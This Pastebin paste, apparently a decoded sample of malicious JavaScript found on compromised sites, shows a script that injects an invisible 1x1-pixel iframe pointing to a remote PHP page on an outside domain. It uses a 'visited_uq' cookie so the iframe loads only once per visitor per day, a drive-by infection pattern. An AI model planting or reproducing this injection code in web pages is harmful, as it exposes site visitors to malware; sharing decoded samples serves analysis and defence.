Advertisement
Xylitol

javascript decoded attack

Aug 8th, 2013
263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.    
  2.  
  3.     function zzzfff() {
  4.             var hvas = document.createElement('iframe');
  5.            
  6.             hvas.src            = 'http://firstedgeentertainment.com/js/TcyQGmWw.php';
  7.             hvas.style.position = 'absolute';
  8.             hvas.style.border   = '0';
  9.             hvas.style.height   = '1px';
  10.             hvas.style.width    = '1px';
  11.             hvas.style.left     = '1px';
  12.             hvas.style.top      = '1px';
  13.            
  14.             if (!document.getElementById('hvas')) {
  15.                     document.write('');
  16.                     document.getElementById('hvas').appendChild(hvas);
  17.             }
  18.     }
  19.      
  20.     function SetCookie(cookieName, cookieValue, nDays, path) {
  21.             var today  = new Date();
  22.             var expire = new Date();
  23.            
  24.             if (nDays == null || nDays == 0)
  25.                     nDays = 1;
  26.            
  27.             expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  28.            
  29.             document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  30.     }
  31.      
  32.     function GetCookie(name) {
  33.             var start = document.cookie.indexOf(name + "=");
  34.             var len   = start + name.length + 1;
  35.            
  36.             if ((!start) && (name != document.cookie.substring(0, name.length))) {
  37.                     return null;
  38.             }
  39.            
  40.             if (start == -1)
  41.                     return null;
  42.            
  43.             var end = document.cookie.indexOf(";", len);
  44.            
  45.             if (end == -1)
  46.                     end = document.cookie.length;
  47.            
  48.             return unescape(document.cookie.substring(len, end));
  49.     }
  50.      
  51.     if (navigator.cookieEnabled) {
  52.             if (GetCookie('visited_uq') == 55) {
  53.            
  54.             }
  55.             else {
  56.                     SetCookie('visited_uq', '55', '1', '/');
  57.                     zzzfff();
  58.             }
  59.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement